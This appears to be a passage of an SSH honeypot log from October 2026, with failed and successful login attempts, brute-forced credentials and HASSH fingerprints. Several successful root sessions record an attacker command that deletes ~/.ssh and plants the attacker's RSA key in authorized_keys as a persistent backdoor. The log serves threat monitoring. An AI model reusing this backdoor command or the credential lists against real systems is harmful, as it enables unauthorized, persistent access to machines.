Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "537b9e8a8fc6",
  "src_ip": "164.52.105.37",
  "start_time": "2026-10-16T18:59:49.942266Z",
  "end_time": "2026-10-16T18:59:52.265149Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "desenvolvimento",
      "pass": "desenvolvimento123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

186.18.130.115

2026-10-16 18:58:42.163453 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: f520dd445af7

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "f520dd445af7",
  "src_ip": "186.18.130.115",
  "start_time": "2026-10-16T18:58:42.163453Z",
  "end_time": "2026-10-16T18:58:42.166762Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

186.18.130.115

2026-10-16 18:58:27.725066 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 24c18c63f0c5

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "24c18c63f0c5",
  "src_ip": "186.18.130.115",
  "start_time": "2026-10-16T18:58:27.725066Z",
  "end_time": "2026-10-16T18:58:27.728267Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

164.52.105.37

2026-10-16 18:58:09.034141 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: rdpuser

Record ID: f7bff2c55dbc

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "f7bff2c55dbc",
  "src_ip": "164.52.105.37",
  "start_time": "2026-10-16T18:58:09.034141Z",
  "end_time": "2026-10-16T18:58:11.360681Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "rdpuser",
      "pass": "rdpuser123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

189.161.253.111

2026-10-16 18:56:46.785474 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e0768d8b63b5

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "e0768d8b63b5",
  "src_ip": "189.161.253.111",
  "start_time": "2026-10-16T18:56:46.785474Z",
  "end_time": "2026-10-16T18:56:46.788661Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

164.52.105.37

2026-10-16 18:56:33.325905 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sgp

Record ID: cc94d3e3e1a8

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "cc94d3e3e1a8",
  "src_ip": "164.52.105.37",
  "start_time": "2026-10-16T18:56:33.325905Z",
  "end_time": "2026-10-16T18:56:35.652657Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "sgp",
      "pass": "sgp@123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

164.52.105.37

2026-10-16 18:55:01.911596 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: info

Record ID: a71dc5f6956a

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "a71dc5f6956a",
  "src_ip": "164.52.105.37",
  "start_time": "2026-10-16T18:55:01.911596Z",
  "end_time": "2026-10-16T18:55:04.240794Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "info",
      "pass": "1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

193.46.255.86

2026-10-16 18:54:20.114337 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / blackout

Record ID: be8ce1f377d3

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "be8ce1f377d3",
  "src_ip": "193.46.255.86",
  "start_time": "2026-10-16T18:54:20.114337Z",
  "end_time": "2026-10-16T18:54:26.165609Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "blackout"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

164.52.105.37

2026-10-16 18:53:34.770339 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 263b6bc63e0c

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "263b6bc63e0c",
  "src_ip": "164.52.105.37",
  "start_time": "2026-10-16T18:53:34.770339Z",
  "end_time": "2026-10-16T18:53:36.117271Z",
  "duration": "1.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

164.52.105.37

2026-10-16 18:53:32.199829 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: b8d7f1d5e6dc

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "b8d7f1d5e6dc",
  "src_ip": "164.52.105.37",
  "start_time": "2026-10-16T18:53:32.199829Z",
  "end_time": "2026-10-16T18:53:34.556157Z",
  "duration": "2.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

164.52.105.37

2026-10-16 18:53:29.412745 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / me

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 998df95e6032

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 6.7s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "998df95e6032",
  "src_ip": "164.52.105.37",
  "start_time": "2026-10-16T18:53:29.412745Z",
  "end_time": "2026-10-16T18:53:36.113219Z",
  "duration": "6.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "me"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

103.159.54.61

2026-10-16 18:52:47.590641 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: qui

Record ID: ab36984f6fd9

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "ab36984f6fd9",
  "src_ip": "103.159.54.61",
  "start_time": "2026-10-16T18:52:47.590641Z",
  "end_time": "2026-10-16T18:52:49.741393Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "qui",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

164.52.105.37

2026-10-16 18:51:55.681804 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 2dec1fd92b93

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "2dec1fd92b93",
  "src_ip": "164.52.105.37",
  "start_time": "2026-10-16T18:51:55.681804Z",
  "end_time": "2026-10-16T18:51:57.017499Z",
  "duration": "1.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

164.52.105.37

2026-10-16 18:51:53.120542 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: c30e47b86f08

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "c30e47b86f08",
  "src_ip": "164.52.105.37",
  "start_time": "2026-10-16T18:51:53.120542Z",
  "end_time": "2026-10-16T18:51:55.468384Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

164.52.105.37

2026-10-16 18:51:50.367934 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / exit

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: c6137d54aa02

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 6.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "c6137d54aa02",
  "src_ip": "164.52.105.37",
  "start_time": "2026-10-16T18:51:50.367934Z",
  "end_time": "2026-10-16T18:51:57.013459Z",
  "duration": "6.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "exit"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

103.159.54.61

2026-10-16 18:50:59.644083 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: f7ae3ae1cfa7

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "f7ae3ae1cfa7",
  "src_ip": "103.159.54.61",
  "start_time": "2026-10-16T18:50:59.644083Z",
  "end_time": "2026-10-16T18:51:00.831058Z",
  "duration": "1.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

103.159.54.61

2026-10-16 18:50:57.269933 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: f2f0db400997

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "f2f0db400997",
  "src_ip": "103.159.54.61",
  "start_time": "2026-10-16T18:50:57.269933Z",
  "end_time": "2026-10-16T18:50:59.462546Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

103.159.54.61

2026-10-16 18:50:53.785107 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / dragos

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 6ec9ec39b3f4

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 7.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "6ec9ec39b3f4",
  "src_ip": "103.159.54.61",
  "start_time": "2026-10-16T18:50:53.785107Z",
  "end_time": "2026-10-16T18:51:00.834208Z",
  "duration": "7.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "dragos"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

164.52.105.37

2026-10-16 18:50:19.326952 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: yousef

Record ID: 84fd1485deaf

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "84fd1485deaf",
  "src_ip": "164.52.105.37",
  "start_time": "2026-10-16T18:50:19.326952Z",
  "end_time": "2026-10-16T18:50:21.641728Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "yousef",
      "pass": "yousef123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

103.159.54.61

2026-10-16 18:49:10.464197 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: jorge

Record ID: e865d19a3511

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "e865d19a3511",
  "src_ip": "103.159.54.61",
  "start_time": "2026-10-16T18:49:10.464197Z",
  "end_time": "2026-10-16T18:49:12.683365Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "jorge",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}